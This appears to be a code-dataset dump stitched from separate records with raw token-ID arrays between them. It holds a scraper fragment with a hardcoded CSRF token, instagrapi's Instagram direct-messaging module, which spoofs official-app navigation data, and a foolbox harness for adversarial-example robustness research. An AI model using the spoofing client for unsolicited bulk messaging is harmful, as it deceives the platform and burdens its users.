'type': mode,
'csrf': '88bff874b8bdd92a5ad36c0eeadc2211b29e300f'
}
response = requests.post(url, data=data, headers=headers)
phrase = ''
for i in response.text:
phrase = phrase+i.rstrip()
soup = BeautifulSoup(phrase)
if 'Noentriesfound' in soup:
print('No entries found or bad query.\n')
sys.exit()
else:
tables = soup.findChildren('tbody')
my_table = tables[0]
rows = my_table.findChildren(['th', 'tr'])
for row in rows:
cells = row.findChildren('th')
for cell in cells:
value = cell.string
print(value)
sys.exit()
| [
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13,
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1767,
29897,
13,
9675,
29889,
13322,
580,
13,
2
] |
instagrapi/mixins/direct.py | wpbloger/instagrapi | 1 | 135651 | <reponame>wpbloger/instagrapi
import random
import re
import time
from pathlib import Path
from typing import List
from instagrapi.exceptions import ClientNotFoundError, DirectThreadNotFound
from instagrapi.extractors import (
extract_direct_message,
extract_direct_response,
extract_direct_short_thread,
extract_direct_thread,
)
from instagrapi.types import (
DirectMessage,
DirectResponse,
DirectShortThread,
DirectThread,
)
from instagrapi.utils import dumps
class DirectMixin:
"""
Helpers for managing Direct Messaging
"""
def direct_threads(self, amount: int = 20) -> List[DirectThread]:
"""
Get direct message threads
Parameters
----------
amount: int, optional
Maximum number of media to return, default is 20
Returns
-------
List[DirectThread]
A list of objects of DirectThread
"""
assert self.user_id, "Login required"
params = {
"visual_message_return_type": "unseen",
"thread_message_limit": "10",
"persistentBadging": "true",
"limit": "20",
}
cursor = None
threads = []
self.private_request("direct_v2/get_presence/")
while True:
if cursor:
params["cursor"] = cursor
result = self.private_request("direct_v2/inbox/", params=params)
inbox = result.get("inbox", {})
for thread in inbox.get("threads", []):
threads.append(extract_direct_thread(thread))
cursor = inbox.get("oldest_cursor")
if not cursor or (amount and len(threads) >= amount):
break
if amount:
threads = threads[:amount]
return threads
def direct_pending_inbox(self, amount: int = 20) -> List[DirectThread]:
"""
Get direct message pending threads
Parameters
----------
amount: int, optional
Maximum number of media to return, default is 20
Returns
-------
List[DirectThread]
A list of objects of DirectThread
"""
assert self.user_id, "Login required"
params = {
"visual_message_return_type": "unseen",
"persistentBadging": "true",
}
cursor = None
threads = []
# self.private_request("direct_v2/get_presence/")
while True:
if cursor:
params["cursor"] = cursor
result = self.private_request("direct_v2/pending_inbox/", params=params)
inbox = result.get("inbox", {})
for thread in inbox.get("threads", []):
threads.append(extract_direct_thread(thread))
cursor = inbox.get("oldest_cursor")
if not cursor or (amount and len(threads) >= amount):
break
if amount:
threads = threads[:amount]
return threads
def direct_thread(self, thread_id: int, amount: int = 20) -> DirectThread:
"""
Get all the information about a Direct Message thread
Parameters
----------
thread_id: int
Unique identifier of a Direct Message thread
amount: int, optional
Maximum number of media to return, default is 20
Returns
-------
DirectThread
An object of DirectThread
"""
assert self.user_id, "Login required"
params = {
"visual_message_return_type": "unseen",
"direction": "older",
"seq_id": "40065", # 59663
"limit": "20",
}
cursor = None
items = []
while True:
if cursor:
params["cursor"] = cursor
try:
result = self.private_request(
f"direct_v2/threads/{thread_id}/", params=params
)
except ClientNotFoundError as e:
raise DirectThreadNotFound(e, thread_id=thread_id, **self.last_json)
thread = result["thread"]
for item in thread["items"]:
items.append(item)
cursor = thread.get("oldest_cursor")
if not cursor or (amount and len(items) >= amount):
break
if amount:
items = items[:amount]
thread["items"] = items
return extract_direct_thread(thread)
def direct_messages(self, thread_id: int, amount: int = 20) -> List[DirectMessage]:
"""
Get all the messages from a thread
Parameters
----------
thread_id: int
Unique identifier of a Direct Message thread
amount: int, optional
Maximum number of media to return, default is 20
Returns
-------
List[DirectMessage]
A list of objects of DirectMessage
"""
assert self.user_id, "Login required"
return self.direct_thread(thread_id, amount).messages
def direct_answer(self, thread_id: int, text: str) -> DirectMessage:
"""
Post a message on a Direct Message thread
Parameters
----------
thread_id: int
Unique identifier of a Direct Message thread
text: str
String to be posted on the thread
Returns
-------
DirectMessage
An object of DirectMessage
"""
assert self.user_id, "Login required"
return self.direct_send(text, [], [int(thread_id)])
def direct_send(self, text: str, user_ids: List[int] = [], thread_ids: List[int] = []) -> DirectMessage:
"""
Send a direct message to list of users or threads
Parameters
----------
text: str
String to be posted on the thread
user_ids: List[int]
List of unique identifier of Users id
thread_ids: List[int]
List of unique identifier of Direct Message thread id
Returns
-------
DirectMessage
An object of DirectMessage
"""
assert self.user_id, "Login required"
assert (user_ids or thread_ids) and not (user_ids and thread_ids), "Specify user_ids or thread_ids, but not both"
method = "text"
token = self.generate_mutation_token()
kwargs = {
"action": "send_item",
"is_shh_mode": "0",
"send_attribution": "direct_thread",
"client_context": token,
"mutation_token": token,
"nav_chain": "1qT:feed_timeline:1,1qT:feed_timeline:2,1qT:feed_timeline:3,7Az:direct_inbox:4,7Az:direct_inbox:5,5rG:direct_thread:7",
"offline_threading_id": token,
}
if "http" in text:
method = "link"
kwargs["link_text"] = text
kwargs["link_urls"] = dumps(re.findall(r"(https?://[^\s]+)", text))
else:
kwargs["text"] = text
if thread_ids:
kwargs["thread_ids"] = dumps([int(tid) for tid in thread_ids])
if user_ids:
kwargs["recipient_users"] = dumps([[int(uid) for uid in user_ids]])
result = self.private_request(
f"direct_v2/threads/broadcast/{method}/",
data=self.with_default_data(kwargs),
with_signature=False
)
return extract_direct_message(result["payload"])
def direct_send_photo(self, path: Path, user_ids: List[int] = [], thread_ids: List[int] = []) -> DirectMessage:
"""
Send a direct photo to list of users or threads
Parameters
----------
path: Path
Path to photo that will be posted on the thread
user_ids: List[int]
List of unique identifier of Users id
thread_ids: List[int]
List of unique identifier of Direct Message thread id
Returns
-------
DirectMessage
An object of DirectMessage
"""
return self.direct_send_file(path, user_ids, thread_ids, content_type='photo')
def direct_send_video(self, path: Path, user_ids: List[int] = [], thread_ids: List[int] = []) -> DirectMessage:
"""
Send a direct video to list of users or threads
Parameters
----------
path: Path
Path to video that will be posted on the thread
user_ids: List[int]
List of unique identifier of Users id
thread_ids: List[int]
List of unique identifier of Direct Message thread id
Returns
-------
DirectMessage
An object of DirectMessage
"""
return self.direct_send_file(path, user_ids, thread_ids, content_type='video')
def direct_send_file(self, path: Path, user_ids: List[int] = [], thread_ids: List[int] = [], content_type: str = 'photo') -> DirectMessage:
"""
Send a direct file to list of users or threads
Parameters
----------
path: Path
Path to file that will be posted on the thread
user_ids: List[int]
List of unique identifier of Users id
thread_ids: List[int]
List of unique identifier of Direct Message thread id
Returns
-------
DirectMessage
An object of DirectMessage
"""
assert self.user_id, "Login required"
assert (user_ids or thread_ids) and not (user_ids and thread_ids), "Specify user_ids or thread_ids, but not both"
method = f"configure_{content_type}"
token = self.generate_mutation_token()
nav_chains = [
"6xQ:direct_media_picker_photos_fragment:1,5rG:direct_thread:2,5ME:direct_quick_camera_fragment:3,5ME:direct_quick_camera_fragment:4,4ju:reel_composer_preview:5,5rG:direct_thread:6,5rG:direct_thread:7,6xQ:direct_media_picker_photos_fragment:8,5rG:direct_thread:9",
"1qT:feed_timeline:1,7Az:direct_inbox:2,7Az:direct_inbox:3,5rG:direct_thread:4,6xQ:direct_media_picker_photos_fragment:5,5rG:direct_thread:6,5rG:direct_thread:7,6xQ:direct_media_picker_photos_fragment:8,5rG:direct_thread:9",
]
kwargs = {}
data = {
"action": "send_item",
"is_shh_mode": "0",
"send_attribution": "direct_thread",
"client_context": token,
"mutation_token": token,
"nav_chain": random.choices(nav_chains),
"offline_threading_id": token,
}
if content_type == "video":
data["video_result"] = ""
kwargs["to_direct"] = True
if content_type == "photo":
data["send_attribution"] = "inbox"
data["allow_full_aspect_ratio"] = "true"
if user_ids:
data["recipient_users"] = dumps([[int(uid) for uid in user_ids]])
if thread_ids:
data["thread_ids"] = dumps([int(tid) for tid in thread_ids])
path = Path(path)
upload_id = str(int(time.time() * 1000))
upload_id, width, height = getattr(self, f'{content_type}_rupload')(path, upload_id, **kwargs)[:3]
data['upload_id'] = upload_id
# data['content_type'] = content_type
result = self.private_request(
f"direct_v2/threads/broadcast/{method}/",
data=self.with_default_data(data),
with_signature=False,
)
return extract_direct_message(result["payload"])
def direct_send_seen(self, thread_id: int) -> DirectResponse:
"""
Send seen to thread
Parameters
----------
thread_id: int
Id of thread which messages will be read
Returns
-------
An object of DirectResponse
"""
data = {}
thread = self.direct_thread(thread_id=thread_id)
result = self.private_request(
f"direct_v2/threads/{thread_id}/items/{thread.messages[0].id}/seen/",
data=self.with_default_data(data),
with_signature=False,
)
return extract_direct_response(result)
def direct_search(self, query: str) -> List[DirectShortThread]:
"""
Search threads by query
Parameters
----------
query: String
Text query, e.g. username
Returns
-------
List[DirectShortThread]
List of short version of DirectThread
"""
result = self.private_request(
"direct_v2/ranked_recipients/",
params={"mode": "raven", "show_threads": "true", "query": str(query)}
)
return [
extract_direct_short_thread(item.get('thread', {}))
for item in result.get('ranked_recipients', [])
if 'thread' in item
]
def direct_thread_by_participants(self, user_ids: List[int]) -> DirectThread:
"""
Get direct thread by participants
Parameters
----------
user_ids: List[int]
List of unique identifier of Users id
Returns
-------
DirectThread
An object of DirectThread
"""
recipient_users = dumps([int(uid) for uid in user_ids])
result = self.private_request(
"direct_v2/threads/get_by_participants/",
params={"recipient_users": recipient_users, "seq_id": 2580572, "limit": 20}
)
if 'thread' not in result:
raise DirectThreadNotFound(
f'Thread not found by recipient_users={recipient_users}',
user_ids=user_ids,
**self.last_json
)
return extract_direct_thread(result['thread'])
def direct_thread_hide(self, thread_id: int) -> bool:
"""
Hide (delete) a thread
When you click delete, Instagram hides a thread
Parameters
----------
thread_id: int
Id of thread which messages will be read
Returns
-------
bool
A boolean value
"""
data = self.with_default_data({})
data.pop('_uid', None)
data.pop('device_id', None)
result = self.private_request(
f"direct_v2/threads/{thread_id}/hide/",
data=data
)
return result["status"] == "ok"
def direct_media_share(self, media_id: str, user_ids: List[int]) -> DirectMessage:
"""
Share a media to list of users
Parameters
----------
media_id: str
Unique Media ID
user_ids: List[int]
List of unique identifier of Users id
Returns
-------
DirectMessage
An object of DirectMessage
"""
assert self.user_id, "Login required"
token = self.generate_mutation_token()
media_id = self.media_id(media_id)
recipient_users = dumps([[int(uid) for uid in user_ids]])
data = {
'recipient_users': recipient_users,
'action': 'send_item',
'is_shh_mode': 0,
'send_attribution': 'feed_timeline',
'client_context': token,
'media_id': media_id,
'mutation_token': token,
'nav_chain': '1VL:feed_timeline:1,1VL:feed_timeline:2,1VL:feed_timeline:5,DirectShareSheetFragment:direct_reshare_sheet:6',
'offline_threading_id': token,
}
result = self.private_request(
"direct_v2/threads/broadcast/media_share/",
# params={'media_type': 'video'},
data=self.with_default_data(data),
with_signature=False,
)
return extract_direct_message(result["payload"])
def direct_story_share(self, story_id: str, user_ids: List[int] = [], thread_ids: List[int] = []) -> DirectMessage:
"""
Share a story to list of users
Parameters
----------
story_id: str
Unique Story ID
user_ids: List[int]
List of unique identifier of Users id
thread_ids: List[int]
List of unique identifier of Users id
Returns
-------
DirectMessage
An object of DirectMessage
"""
assert self.user_id, "Login required"
assert (user_ids or thread_ids) and not (user_ids and thread_ids), "Specify user_ids or thread_ids, but not both"
story_id = self.media_id(story_id)
story_pk = self.media_pk(story_id)
token = self.generate_mutation_token()
data = {
"action": "send_item",
"is_shh_mode": "0",
"send_attribution": "reel_feed_timeline",
"client_context": token,
"mutation_token": token,
"nav_chain": "1qT:feed_timeline:1,ReelViewerFragment:reel_feed_timeline:4,DirectShareSheetFragment:direct_reshare_sheet:5",
"reel_id": story_pk,
"containermodule": "reel_feed_timeline",
"story_media_id": story_id,
"offline_threading_id": token,
}
if user_ids:
data["recipient_users"] = dumps([[int(uid) for uid in user_ids]])
if thread_ids:
data["thread_ids"] = dumps([int(tid) for tid in thread_ids])
result = self.private_request(
"direct_v2/threads/broadcast/story_share/",
# params={'story_type': 'video'},
data=self.with_default_data(data),
with_signature=False,
)
return extract_direct_message(result["payload"])
def direct_thread_mark_unread(self, thread_id: int) -> bool:
"""
Mark a thread as unread
Parameters
----------
thread_id: int
Id of thread
Returns
-------
bool
A boolean value
"""
data = self.with_default_data({})
data.pop('_uid', None)
data.pop('device_id', None)
result = self.private_request(
f"direct_v2/threads/{thread_id}/mark_unread/",
data=data
)
return result["status"] == "ok"
def direct_message_delete(self, thread_id: int, message_id: int) -> bool:
"""
Delete a message from thread
Parameters
----------
thread_id: int
Id of thread
message_id: int
Id of message
Returns
-------
bool
A boolean value
"""
data = self.with_default_data({})
data.pop('_uid', None)
data.pop('device_id', None)
data['is_shh_mode'] = 0
data['send_attribution'] = 'direct_thread'
data['original_message_client_context'] = self.generate_mutation_token()
result = self.private_request(
f"direct_v2/threads/{thread_id}/items/{message_id}/delete/",
data=data
)
return result["status"] == "ok"
def direct_thread_mute(self, thread_id: int, revert: bool = False) -> bool:
"""
Mute the thread
Parameters
----------
thread_id: int
Id of thread
revert: bool, optional
If muted, whether or not to unmute. Default is False
Returns
-------
bool
A boolean value
"""
name = "unmute" if revert else "mute"
result = self.private_request(
f"direct_v2/threads/{thread_id}/{name}/",
data={'_uuid': self.uuid}
)
return result["status"] == "ok"
def direct_thread_unmute(self, thread_id: int) -> bool:
"""
Unmute the thread
Parameters
----------
thread_id: int
Id of thread
Returns
-------
bool
A boolean value
"""
return self.direct_thread_mute(thread_id, revert=True)
def direct_thread_mute_video_call(self, thread_id: int, revert: bool = False) -> bool:
"""
Mute video call for the thread
Parameters
----------
thread_id: int
Id of thread
revert: bool, optional
If muted, whether or not to unmute. Default is False
Returns
-------
bool
A boolean value
"""
name = "unmute_video_call" if revert else "mute_video_call"
result = self.private_request(
f"direct_v2/threads/{thread_id}/{name}/",
data={'_uuid': self.uuid}
)
return result["status"] == "ok"
def direct_thread_unmute_video_call(self, thread_id: int) -> bool:
"""
Unmute video call for the thread
Parameters
----------
thread_id: int
Id of thread
Returns
-------
bool
A boolean value
"""
return self.direct_thread_mute_video_call(thread_id, revert=True)
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] |
tfCore_adversarial_attacks.py | nielsleadholm/CNN_Binding | 1 | 165651 | #!/usr/bin/env python3
import tensorflow as tf
import numpy as np
import os
import math
import foolbox
import scipy
import matplotlib.pyplot as plt
from PIL import Image
#Utilizes the FoolBox Python library (https://github.com/bethgelab/foolbox) to implement a variety
#of adversarial attacks against deep-learning models implimented in TensorFlow's Core API
class parent_attack:
def __init__(self, attack_dic,
criterion=foolbox.criteria.Misclassification()):
self.model_prediction_function = attack_dic['model_prediction_function']
self.model_weights = attack_dic['model_weights']
self.var_list = attack_dic['var_list']
self.weights_dic = attack_dic['weights_dic']
self.biases_dic = attack_dic['biases_dic']
self.input_data = attack_dic['input_data']
self.input_labels = attack_dic['input_labels']
self.input_placeholder = attack_dic['input_placeholder']
self.dropout_rate_placeholder = attack_dic['dropout_rate_placeholder']
self.output_directory = attack_dic['output_directory']
self.num_attack_examples = attack_dic['num_attack_examples']
self.dynamic_dic = attack_dic['dynamic_dic'] #Determines if e.g. a network section is ablated, or noise is added to the logits
self.batch_size = attack_dic['batch_size']
self.save_images = attack_dic['save_images']
self.estimate_gradients = attack_dic['estimate_gradients']
self.adver_model = attack_dic['adver_model']
self.adver_checkpoint = attack_dic['adver_checkpoint']
self.criterion = criterion #note by default this is simply foolbox's Misclassification criterion
#Define the class attribute, attack_method, to be the Blended Uniform Noise attack by default
attack_method = foolbox.attacks.BlendedUniformNoiseAttack
foolbox_distance_metric = foolbox.distances.MeanSquaredDistance
attack_type_dir = 'Parent_*_not_advised_*_'
def evaluate_resistance(self):
if self.adver_model == None:
logits, _ = self.model_prediction_function(self.input_placeholder, self.dropout_rate_placeholder, self.weights_dic, self.biases_dic, self.dynamic_dic)
saver = tf.train.Saver(self.var_list) #Define saver object for use later when loading the model weights
else:
saver = tf.train.Saver()
self.mk_dir()
with tf.Session() as session:
#Define the foolbox model
if self.adver_model == None:
print("\nEvaluating a non-adversarially trained model")
saver.restore(session, self.model_weights) #Note when restoring weights its important not to run init on the same
#variables, as this will over-write the learned weights with randomly initialized ones
fmodel = foolbox.models.TensorFlowModel(self.input_placeholder, logits, (0,1))
else:
print("\nEvaluating an adversarially trained model")
saver.restore(session, self.adver_checkpoint)
fmodel = foolbox.models.TensorFlowModel(self.input_placeholder, self.adver_model.pre_softmax, (0,1))
#Wrap the model to enable estimated gradients if desired
if self.estimate_gradients == True:
print("\nUsing a model with *estimated* gradients.")
estimator = foolbox.gradient_estimators.CoordinateWiseGradientEstimator(epsilon=0.01)
fmodel = foolbox.models.ModelWithEstimatedGradients(fmodel, gradient_estimator=estimator)
#The default CoordinateWiseGradientEstimator estimator is the same used in the Schott et al, 2019 ABS paper from ICLR
print("\nPerforming " + self.attack_type_dir + " attack")
print("Evaluating " + str(self.num_attack_examples) + " adversarial example(s)")
#Arrays for storing results of the evaluation
adversary_found = np.zeros([self.num_attack_examples]) #array of booleans that indicates if an adversary was found for a particular image
adversary_distance = np.zeros([self.num_attack_examples])
adversaries_array = np.zeros(np.concatenate(([self.num_attack_examples], self.input_data.shape[1:])))
adversary_labels = []
self.attack_specification(fmodel)
for batch_iter in range(math.ceil(self.num_attack_examples/self.batch_size)):
execution_batch_data = self.input_data[batch_iter*self.batch_size:min((batch_iter+1)*self.batch_size, self.num_attack_examples)]
execution_batch_labels = np.argmax(self.input_labels[batch_iter*self.batch_size:min((batch_iter+1)*self.batch_size, self.num_attack_examples)], axis=1)
#Carry out the attack
adversarial_images, batch_adversary_labels = self.create_adversarial(execution_batch_data, execution_batch_labels)
adversary_labels.extend(batch_adversary_labels)
#Process results of the batched attack
for example_iter in range(execution_batch_data.shape[0]):
if np.any(adversarial_images[example_iter] == None) or np.all(np.isnan(adversarial_images[example_iter])):
print("\nNo adversarial image found - attack returned None or array of NaNs\n")
#As in Schott, 2019 et al, the distance of an unsuccessful attack is recorded as infinity
adversary_distance[batch_iter*self.batch_size + example_iter] = np.inf
else:
adversary_found, adversary_distance, adversaries_array = self.store_data(adversary_found, adversary_distance, adversaries_array,
execution_batch_data[example_iter], execution_batch_labels[example_iter], adversarial_images[example_iter], batch_iter*self.batch_size + example_iter, fmodel)
adversary_labels = np.asarray(adversary_labels)
return adversary_found, adversary_distance, adversaries_array, adversary_labels
def attack_specification(self, fmodel):
self.attack_fmodel = self.attack_method(model=fmodel, criterion=self.criterion, distance=self.foolbox_distance_metric)
#Make the attack directory for storing results
def mk_dir(self):
if os.path.exists('adversarial_images/' + self.output_directory + '/' + self.attack_type_dir + '/') == 0:
try:
os.mkdir('adversarial_images/' + self.output_directory + '/')
except OSError:
pass
try:
os.mkdir('adversarial_images/' + self.output_directory + '/' + self.attack_type_dir + '/')
except OSError:
pass
def create_adversarial(self, execution_data, execution_label):
adversarials = self.attack_fmodel(execution_data, execution_label, unpack=False)
adversary_labels = np.asarray([a.adversarial_class for a in adversarials])
adversarial_images = np.asarray([a.perturbed for a in adversarials])
return adversarial_images, adversary_labels
def store_data(self, adversary_found, adversary_distance, adversaries_array, execution_data, execution_label, adversarial_image, results_iter, fmodel):
adversaries_array[results_iter] = adversarial_image
#Note only 10 adversarial images are saved for a given attack to reduce memory issues
if self.save_images == True and (results_iter<10):
if adversarial_image.shape[2] == 3:
image_to_png = adversarial_image
elif adversarial_image.shape[2] == 1:
image_to_png = np.squeeze(adversarial_image, axis=2) #Remove last dimension if saving to greyscale
plt.imsave('adversarial_images/' + self.output_directory + '/' +
self.attack_type_dir + '/AttackNum' + str(results_iter) + '_Predicted' + str(np.argmax(fmodel.forward(adversarial_image[None, :, :, :]))) +
'_GroundTruth' + str(execution_label) + '.png', image_to_png)
print("The classification label following attack is " + str(np.argmax(fmodel.forward(adversarial_image[None]))) + " from an original classification of " + str(execution_label))
distance, distance_name = self.distance_metric(execution_data.flatten(), adversarial_image.flatten())
print("The " + distance_name + " distance of the adversary is " + str(distance))
adversary_found[results_iter] = 1
adversary_distance[results_iter] = distance
return adversary_found, adversary_distance, adversaries_array
def distance_metric(self, vector1, vector2):
distance = scipy.spatial.distance.euclidean(vector1, vector2)
distance_name = 'Euclidean (L-2)'
return distance, distance_name
class check_stochasticity(parent_attack):
#Performs checks to ensure there are no unintended stochastic elements (e.g. due to numerical issues) in a models predictions in foolbox
def perform_check(self):
logits, _ = self.model_prediction_function(self.input_placeholder, self.dropout_rate_placeholder, self.weights_dic, self.biases_dic, self.dynamic_dic)
saver = tf.train.Saver(self.var_list)
with tf.Session() as session:
saver.restore(session, self.model_weights)
fmodel = foolbox.models.TensorFlowModel(self.input_placeholder, logits, (0,1))
print('Checking the models performance on multiple runs of the same images')
for example_iter in range(self.num_attack_examples):
execution_data = self.input_data[example_iter, :, :, :]
logits_list = []
labels_list = []
#Check the same image with multiple runs
for ii in range(10):
#Return the logits and label of the model
predicted_logits = fmodel.forward(execution_data[None,:,:,:])
logits_list.extend(predicted_logits)
#Check every element is equivalent to the most recent prediction
assert np.all(logits_list == np.asarray(predicted_logits)), "***Some of the logits are changing stochastically***"
print("No stochastic elements identified")
class transfer_attack_L2(parent_attack):
#Overwrite parent constructor for two additional attributes : starting_adversaries, epsilon_step_size, and max_iterations
def __init__(self, attack_dic,
starting_adversaries,
epsilon_step_size=0.01,
max_iterations=1000):
parent_attack.__init__(self, attack_dic)
self.starting_adversaries = starting_adversaries
self.epsilon_step_size = epsilon_step_size
self.max_iterations = max_iterations
attack_type_dir = 'Transfer_L2'
#Overwrite evaluate_resistance method with one that finds minimal transfer-attack images
def evaluate_resistance(self):
if self.adver_model == None:
logits, _ = self.model_prediction_function(self.input_placeholder, self.dropout_rate_placeholder, self.weights_dic, self.biases_dic, self.dynamic_dic)
saver = tf.train.Saver(self.var_list) #Define saver object for use later when loading the model weights
else:
saver = tf.train.Saver()
self.mk_dir()
with tf.Session() as session:
#Define the foolbox model
if self.adver_model == None:
print("\nEvaluating a non-adversarially trained model")
saver.restore(session, self.model_weights) #Note when restoring weights its important not to run init on the same
#variables, as this will over-write the learned weights with randomly initialized ones
fmodel = foolbox.models.TensorFlowModel(self.input_placeholder, logits, (0,1))
else:
print("\nEvaluating an adversarially trained model")
saver.restore(session, self.adver_checkpoint)
fmodel = foolbox.models.TensorFlowModel(self.input_placeholder, self.adver_model.pre_softmax, (0,1))
print("\nPerforming a Transfer attack")
print("Evaluating " + str(self.num_attack_examples) + " adversarial example(s)")
#Arrays for storing results of the evaluation
adversary_distance = np.zeros([4, self.num_attack_examples])
for example_iter in range(self.num_attack_examples):
print("Transfer attack number " + str(example_iter))
#Iterate through the four different starting points for generating adversaries (two different gradient
# based attacks for each of the two main architecture types --> binding or not binding); the minimally-perturbed attack will be returned
for base_method_iter in range(4):
adversary_distance = self.iterative_perturbation(fmodel, adversary_distance, example_iter, base_method_iter, unperturbed_image=self.input_data[example_iter],
ground_truth_label=self.input_labels[example_iter], starting_adversary=self.starting_adversaries[base_method_iter, example_iter])
print("Method " + str(base_method_iter) + " distance is " + str(adversary_distance[base_method_iter, example_iter]))
#Of all images genereated from the base attack types, select the minimally perturbed image for each example
adversary_distance = adversary_distance.min(axis=0)
return adversary_distance
def iterative_perturbation(self, fmodel, adversary_distance, example_iter, base_method_iter, unperturbed_image, ground_truth_label, starting_adversary):
epsilon = 0.0
current_iteration = 1
#First check if the base attack method failed on the surrogate model
#If so, see if the target model correctly classifies it, in which case it is a failed attack, or otherwise it is a successful attack with distance 0
if np.any(starting_adversary == None) or np.all(np.isnan(starting_adversary)):
if (np.argmax(fmodel.forward(unperturbed_image[None])) == np.argmax(ground_truth_label)):
print("Base attack failed, and target model correctly classified image.")
adversary_distance[base_method_iter, example_iter] = np.inf
else:
print("Base attack failed, but target model misclassified image.")
adversary_distance[base_method_iter, example_iter] = 0
else:
#Begin with an *unperturbed* image, as this may already be enough to fool the target model
transfer_perturbed = unperturbed_image
print("Original classification is " + str(np.argmax(fmodel.forward(transfer_perturbed[None]))))
print("Ground truth label is " + str(np.argmax(ground_truth_label)))
# Binary search for transfer attack as used in Schott et al; based on code provided by <NAME> (Bethge Lab)
direction = starting_adversary - unperturbed_image
bad = 0
good = None
epsilon_binary = 1
k = 10
#Rapidly identify starting point for binary search
for _ in range(k):
transfer_perturbed = unperturbed_image + epsilon_binary * direction
transfer_perturbed = np.clip(transfer_perturbed, 0, 1)
print("Epsilon is " + str(epsilon_binary))
if (np.argmax(fmodel.forward(transfer_perturbed[None])) != np.argmax(ground_truth_label)):
good = epsilon_binary
break
else:
bad = epsilon_binary
epsilon_binary *= 2
print("After exponential binary search, the classification is " + str(np.argmax(fmodel.forward(transfer_perturbed[None]))))
if np.argmax(fmodel.forward(transfer_perturbed[None])) == np.argmax(ground_truth_label):
print("Exponential search failed")
adversary_distance[base_method_iter, example_iter] = np.inf
print("The distance is " + str(adversary_distance[base_method_iter, example_iter]))
else:
for _ in range(k):
epsilon_binary = (good + bad) / 2.
transfer_perturbed = unperturbed_image + epsilon_binary * direction
transfer_perturbed = np.clip(transfer_perturbed, 0, 1)
if (np.argmax(fmodel.forward(transfer_perturbed[None])) != np.argmax(ground_truth_label)):
good = epsilon_binary
else:
bad = epsilon_binary
adversary_distance[base_method_iter, example_iter], _ = self.distance_metric(unperturbed_image.flatten(), transfer_perturbed.flatten())
print("After standard binary search, the classification is " + str(np.argmax(fmodel.forward(transfer_perturbed[None]))))
print("The distance is " + str(adversary_distance[base_method_iter, example_iter]))
return adversary_distance
#*** L-0 Distance Attacks ***
class pointwise_attack_L0(parent_attack):
attack_method = foolbox.attacks.PointwiseAttack
foolbox_distance_metric = foolbox.distances.L0 #This is the distance metric used during optimization by FoolBox attacks
attack_type_dir = 'Pointwise_L0'
#This is the distance metric used to evalute the final distances of the returned images from the original
def distance_metric(self, vector1, vector2):
distance = scipy.spatial.distance.hamming(vector1, vector2)*len(vector1)
distance_name = 'Hamming (L-0)'
return distance, distance_name
class salt_pepper_attack(pointwise_attack_L0):
#Inherit the attributes of the pointwise_attack_L0 class, then overwrite the attack method
attack_method = foolbox.attacks.SaltAndPepperNoiseAttack
attack_type_dir = 'Salt_and_Pepper'
#*** L-2 Distance Attacks ***
class blended_noise_attack(parent_attack):
attack_type_dir = 'Blended_noise'
#As the parent attack already uses the blended uniform noise attack by default, no changes are necessary
class gaussian_noise_attack(parent_attack):
attack_method = foolbox.attacks.AdditiveGaussianNoiseAttack
attack_type_dir = 'Gaussian_noise'
class pointwise_attack_L2(parent_attack):
#Note this version of the point-wise attack inherits the L2 distance metric from the parent class
attack_method = foolbox.attacks.PointwiseAttack
attack_type_dir = 'Pointwise_L2'
class FGM_attack(parent_attack):
attack_method = foolbox.attacks.GradientSignAttack
attack_type_dir = 'FGM'
# attack_method = foolbox.attacks.GradientAttack
# attack_type_dir = 'FGM'
class BIM_L2_attack(parent_attack):
attack_method = foolbox.attacks.L2BasicIterativeAttack
attack_type_dir = 'BIM_L2'
class DeepFool_L2_attack(parent_attack):
attack_method = foolbox.attacks.DeepFoolL2Attack
attack_type_dir = 'DeepFool_L2'
class boundary_attack(parent_attack):
#Overwrite parent constructor for two additional attributes : num_iterations and log_every_n_steps
def __init__(self, attack_dic,
criterion=foolbox.criteria.Misclassification(),
num_iterations=50,
log_every_n_steps=50):
parent_attack.__init__(self, attack_dic,
criterion)
self.num_iterations = num_iterations
self.log_every_n_steps = log_every_n_steps
attack_method = foolbox.attacks.BoundaryAttack
attack_type_dir = 'Boundary'
#Overwrite create adversarial method, as the boundary attack takes a specified number of iterations
def create_adversarial(self, execution_data, execution_label):
adversarials = self.attack_fmodel(execution_data, execution_label, iterations=self.num_iterations,
log_every_n_steps=self.log_every_n_steps, verbose=False, unpack=False)
adversary_labels = np.asarray([a.adversarial_class for a in adversarials])
adversarial_images = np.asarray([a.perturbed for a in adversarials])
return adversarial_images, adversary_labels
#*** L-Inf Distance Attacks ***
class transfer_attack_LInf(transfer_attack_L2):
attack_type_dir = 'Transfer_LInf'
def distance_metric(self, vector1, vector2):
distance = scipy.spatial.distance.chebyshev(vector1, vector2)
distance_name = 'Chebyshev (L-Inf)'
return distance, distance_name
class FGSM_attack(parent_attack):
attack_method = foolbox.attacks.GradientSignAttack
attack_type_dir = 'FGSM'
foolbox_distance_metric = foolbox.distances.Linfinity
def distance_metric(self, vector1, vector2):
distance = scipy.spatial.distance.chebyshev(vector1, vector2)
distance_name = 'Chebyshev (L-Inf)'
return distance, distance_name
class BIM_Linfinity_attack(FGSM_attack):
attack_method = foolbox.attacks.LinfinityBasicIterativeAttack
attack_type_dir = 'BIM_LInf'
class DeepFool_LInf_attack(FGSM_attack):
attack_method = foolbox.attacks.DeepFoolLinfinityAttack
attack_type_dir = 'DeepFool_LInf'
class MIM_attack(FGSM_attack):
attack_method = foolbox.attacks.MomentumIterativeAttack
attack_type_dir = 'MIM'
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607,
1206,
372,
338,
263,
5229,
5337,
29892,
470,
6467,
372,
338,
263,
9150,
5337,
411,
5418,
29871,
29900,
13,
4706,
565,
7442,
29889,
1384,
29898,
2962,
292,
29918,
328,
27547,
1275,
6213,
29897,
470,
7442,
29889,
497,
29898,
9302,
29889,
275,
13707,
29898,
2962,
292,
29918,
328,
27547,
22164,
13,
9651,
565,
313,
9302,
29889,
1191,
3317,
29898,
29888,
4299,
29889,
11333,
29898,
348,
10700,
28179,
29918,
3027,
29961,
8516,
12622,
1275,
7442,
29889,
1191,
3317,
29898,
2057,
29918,
509,
2806,
29918,
1643,
22164,
13,
18884,
1596,
703,
5160,
5337,
5229,
29892,
322,
3646,
1904,
5149,
770,
2164,
1967,
23157,
13,
18884,
19901,
653,
29918,
19244,
29961,
3188,
29918,
5696,
29918,
1524,
29892,
1342,
29918,
1524,
29962,
353,
7442,
29889,
7192,
13,
9651,
1683,
29901,
13,
18884,
1596,
703,
5160,
5337,
5229,
29892,
541,
3646,
1904,
3984,
1990,
2164,
1967,
23157,
13,
18884,
19901,
653,
29918,
19244,
29961,
3188,
29918,
5696,
29918,
1524,
29892,
1342,
29918,
1524,
